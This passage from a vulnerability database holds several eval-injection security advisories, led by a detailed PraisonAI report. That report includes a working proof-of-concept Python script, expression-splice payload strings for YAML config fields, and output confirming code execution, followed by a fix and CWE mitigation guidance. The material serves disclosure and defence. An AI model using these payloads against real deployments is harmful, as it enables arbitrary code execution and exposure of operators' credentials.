generator.\n\n`agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `\" + (\u003cside effect\u003e and \"\") + \"` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value.\n\n## PoV\n\nThe following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check.\n\n```python\nfrom pathlib import Path\nimport json\nimport sys\nimport tempfile\nimport types\n\nimport yaml\n\n\ndef install_stubs():\n    class FakeApp:\n        def __init__(self, name):\n            self.name = name\n\n        def route(self, *args, **kwargs):\n            def deco(func):\n                return func\n\n            return deco\n\n        def run(self, *args, **kwargs):\n            return None\n\n    flask = types.ModuleType(\"flask\")\n    flask.Flask = FakeApp\n    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {\"message\": \"hello\"})\n    flask.jsonify = lambda obj: obj\n    sys.modules[\"flask\"] = flask\n\n    flask_cors = types.ModuleType(\"flask_cors\")\n    flask_cors.CORS = lambda app: app\n    sys.modules[\"flask_cors\"] = flask_cors\n\n    praisonai_mod = types.ModuleType(\"praisonai\")\n\n    class FakePraisonAI:\n        def __init__(self, agent_file):\n            self.agent_file = agent_file\n\n        def run(self):\n            return \"ok\"\n\n    praisonai_mod.PraisonAI = FakePraisonAI\n    sys.modules[\"praisonai\"] = praisonai_mod\n\n\ndef main(repo):\n    sys.path.insert(0, str(Path(repo) / \"src\" / \"praisonai\"))\n    from praisonai.deploy.api import generate_api_server_code\n    from praisonai.deploy.models import APIConfig\n    from praisonai.deploy.schema import validate_agents_yaml\n\n    install_stubs()\n\n    with tempfile.TemporaryDirectory() as tmp:\n        tmp_path = Path(tmp)\n        host_marker = tmp_path / \"host-marker.txt\"\n        file_marker = tmp_path / \"agent-file-marker.txt\"\n        host_payload = \"\u0027 + (__import__(\\\"pathlib\\\").Path(\" + repr(str(host_marker)) + \").write_text(\\\"DEPLOY_API_HOST_CODE_EXECUTED\\\") and \\\"\\\") + \u0027\"\n        agents_yaml = tmp_path / \"agents.yaml\"\n        agents_yaml.write_text(yaml.safe_dump({\n            \"deploy\": {\n                \"type\": \"api\",\n                \"api\": {\"host\": host_payload, \"port\": 8005, \"auth_enabled\": False},\n            },\n            \"agents\": [{\"name\": \"demo\", \"role\": \"demo\", \"goal\": \"demo\"}],\n        }))\n        parsed_config = validate_agents_yaml(str(agents_yaml))\n\n        results = []\n        for label, config in [\n            (\"safe_host\", APIConfig(host=\"127.0.0.1\", auth_enabled=False)),\n            (\"malicious_host_from_yaml\", parsed_config.api),\n        ]:\n            host_marker.unlink(missing_ok=True)\n            code = generate_api_server_code(\"agents.yaml\", config)\n            compile(code, f\"\u003cgenerated-{label}\u003e\", \"exec\")\n            exec(code, {\"__name__\": \"__main__\"})\n            results.append({\n                \"case\": label,\n                \"compiled\": True,\n                \"host_preserved_by_yaml_parser\": config.host == host_payload if label.startswith(\"malicious\") else None,\n                \"marker_exists_after_startup\": host_marker.exists(),\n                \"marker_contents\": host_marker.read_text() if host_marker.exists() else None,\n                \"generated_contains_raw_host\": config.host in code,\n            })\n\n        file_payload = \"\\\" + (__import__(\\\"pathlib\\\").Path(\" + repr(str(file_marker)) + \").write_text(\\\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\\\") and \\\"\\\") + \\\"\"\n        file_marker.unlink(missing_ok=True)\n        code = generate_api_server_code(file_payload, APIConfig(host=\"127.0.0.1\", auth_enabled=False))\n        compile(code, \"\u003cgenerated-agent-file\u003e\", \"exec\")\n        namespace = {\"__name__\": \"generated_agent_file\"}\n        exec(code, namespace)\n        namespace[\"list_agents\"]()\n        results.append({\n            \"case\": \"malicious_agent_file_route_value\",\n            \"compiled\": True,\n            \"marker_exists_after_list_agents\": file_marker.exists(),\n            \"marker_contents\": file_marker.read_text() if file_marker.exists() else None,\n            \"generated_contains_raw_agent_file\": file_payload in code,\n        })\n\n    print(json.dumps(results, indent=2))\n    return 0 if results[1][\"marker_exists_after_startup\"] and results[2][\"marker_exists_after_list_agents\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main(sys.argv[1] if len(sys.argv) \u003e 1 else \".\"))\n```\n\n## PoC\n\nCommand used against current source:\n\n```sh\nuv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI\n```\n\nDecisive output:\n\n```json\n[\n  {\n    \"case\": \"safe_host\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": null,\n    \"marker_exists_after_startup\": false,\n    \"marker_contents\": null,\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_host_from_yaml\",\n    \"compiled\": true,\n    \"host_preserved_by_yaml_parser\": true,\n    \"marker_exists_after_startup\": true,\n    \"marker_contents\": \"DEPLOY_API_HOST_CODE_EXECUTED\",\n    \"generated_contains_raw_host\": true\n  },\n  {\n    \"case\": \"malicious_agent_file_route_value\",\n    \"compiled\": true,\n    \"marker_exists_after_list_agents\": true,\n    \"marker_contents\": \"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\",\n    \"generated_contains_raw_agent_file\": true\n  }\n]\n```\n\nThe `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response.\n\n## Impact\n\nIf an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator\u0027s environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.\n\n## Suggested Fix\n\nDo not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host=\u0027{config.host}\u0027` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.\n\n## Affected Package/Versions\n\nPackage: `praisonai`\n\nConfirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n\nStatic sweep:\n\n| Target | Result |\n| --- | --- |\n| `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present |\n| `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present |\n| current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present |\n\nSuggested severity: High\n\nSuggested CVSS v3.1:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\n```\n\nSuggested CWEs:\n\n- CWE-94: Improper Control of Generation of Code\n- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code\n- CWE-116: Improper Encoding or Escaping of Output\n\n## Advisory History\n\nThe closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, \"PraisonAI deploy --type api emits a Flask server with authentication disabled by default.\" That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API.\n\nThis is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`.\n\nAgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report\u0027s root cause is unsafe code generation before the server handles traffic.\n\n## References\n\n- `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()`\n- `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths\n- `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler\n- `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue\n- `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue\n- CWE-94: https://cwe.mitre.org/data/definitions/94.html\n- CWE-95: https://cwe.mitre.org/data/definitions/95.html\n- CWE-116: https://cwe.mitre.org/data/definitions/116.html",
  "id": "GHSA-79fv-7hq9-w7xg",
  "modified": "2026-10-08T19:36:29Z",
  "published": "2026-10-08T19:36:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-79fv-7hq9-w7xg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61433"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62173"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-code-injection-via-api-deployment-generator"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source"
}

GHSA-7CM4-VMF2-8WF2

Vulnerability from github – Published: 2022-10-12 19:00 – Updated: 2022-10-18 03:10
VLAI
Summary
Dolibarr vulnerable to Eval Injection
Details

Dolibarr ERP & CRM <=15.0.3 are vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dolibarr/dolibarr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "15.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-40871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-12T20:16:03Z",
    "nvd_published_at": "2022-10-12T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Dolibarr ERP \u0026 CRM \u003c=15.0.3 are vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.",
  "id": "GHSA-7cm4-vmf2-8wf2",
  "modified": "2022-10-18T03:10:44Z",
  "published": "2022-10-12T19:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40871"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Dolibarr/dolibarr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/youncyb/dolibarr-rce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dolibarr vulnerable to Eval Injection"
}

GHSA-7M72-PF24-W743

Vulnerability from github – Published: 2026-08-17 21:31 – Updated: 2026-08-17 21:31
VLAI
Details

Legora before 2026-08-14 contains a cross-site scripting vulnerability that allows attackers to achieve arbitrary JavaScript execution in a victim's browser by embedding a Mermaid block prefixed with a gray-matter JavaScript front-matter directive, causing the front-matter parser to invoke eval() before any SVG sanitization occurs. Attackers can exploit this flaw through influenced Mermaid diagram content to execute arbitrary JavaScript in the user's browser context, with elevated impact on Word and Outlook add-in surfaces where bearer session tokens are persisted in localStorage.

Severity
7.7 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
5.1 (Medium)
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-74234"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-17T20:16:46Z",
    "severity": "MODERATE"
  },
  "details": "Legora before 2026-08-14 contains a cross-site scripting vulnerability that allows attackers to achieve arbitrary JavaScript execution in a victim\u0027s browser by embedding a Mermaid block prefixed with a gray-matter JavaScript front-matter directive, causing the front-matter parser to invoke eval() before any SVG sanitization occurs. Attackers can exploit this flaw through influenced Mermaid diagram content to execute arbitrary JavaScript in the user\u0027s browser context, with elevated impact on Word and Outlook add-in surfaces where bearer session tokens are persisted in localStorage.",
  "id": "GHSA-7m72-pf24-w743",
  "modified": "2026-08-17T21:31:24Z",
  "published": "2026-08-17T21:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74234"
    },
    {
      "type": "WEB",
      "url": "https://legora.com"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/legora-2026-08-14-xss-via-mermaid-gray-matter-javascript-engine"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7P37-7QJ9-8QFF

Vulnerability from github – Published: 2026-06-05 12:31 – Updated: 2026-06-05 12:31
VLAI
Details

In Teltonika Networks RUTOS devices, running versions 7.22 through 7.23.2 and TSWOS devices running versions 1.09 through 1.09.1, due to unsafe calls to an eval function in rpc-profile, a vulnerability exists where a lower privileged user could perform command injection as the root user.

Severity
8.4 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-8914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T11:16:37Z",
    "severity": "HIGH"
  },
  "details": "In Teltonika Networks RUTOS devices, running versions 7.22 through 7.23.2 and TSWOS devices running versions 1.09 through 1.09.1, due to unsafe calls to an eval function in rpc-profile, a vulnerability exists where a lower privileged user could perform command injection as the root user.",
  "id": "GHSA-7p37-7qj9-8qff",
  "modified": "2026-06-05T12:31:46Z",
  "published": "2026-06-05T12:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8914"
    },
    {
      "type": "WEB",
      "url": "https://www.teltonika-networks.com/support/security-centre"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-7R5R-H4WQ-43GR

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-08 21:34
VLAI
Details

The Okta Access Gateway management console passes user-supplied input to eval() without sanitization during an authenticated administrator SSH session. As a result, the unsanitized input is executed directly, leading to code execution with the privileges of the management console.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-78550"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T20:18:35Z",
    "severity": "MODERATE"
  },
  "details": "The Okta Access Gateway management console passes user-supplied input to eval() without sanitization during an authenticated administrator SSH session. As a result, the unsanitized input is executed directly, leading to code execution with the privileges of the management console.",
  "id": "GHSA-7r5r-h4wq-43gr",
  "modified": "2026-09-08T21:34:28Z",
  "published": "2026-09-08T21:34:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78550"
    },
    {
      "type": "WEB",
      "url": "https://trust.okta.com/security-advisories/improper-input-handling-in-okta-access-gateway-management-console-exception-handler-cve-2026-78550"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design Implementation

Strategy: Refactoring

If possible, refactor your code so that it does not need to use eval() at all.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Implementation
  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.
  • Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

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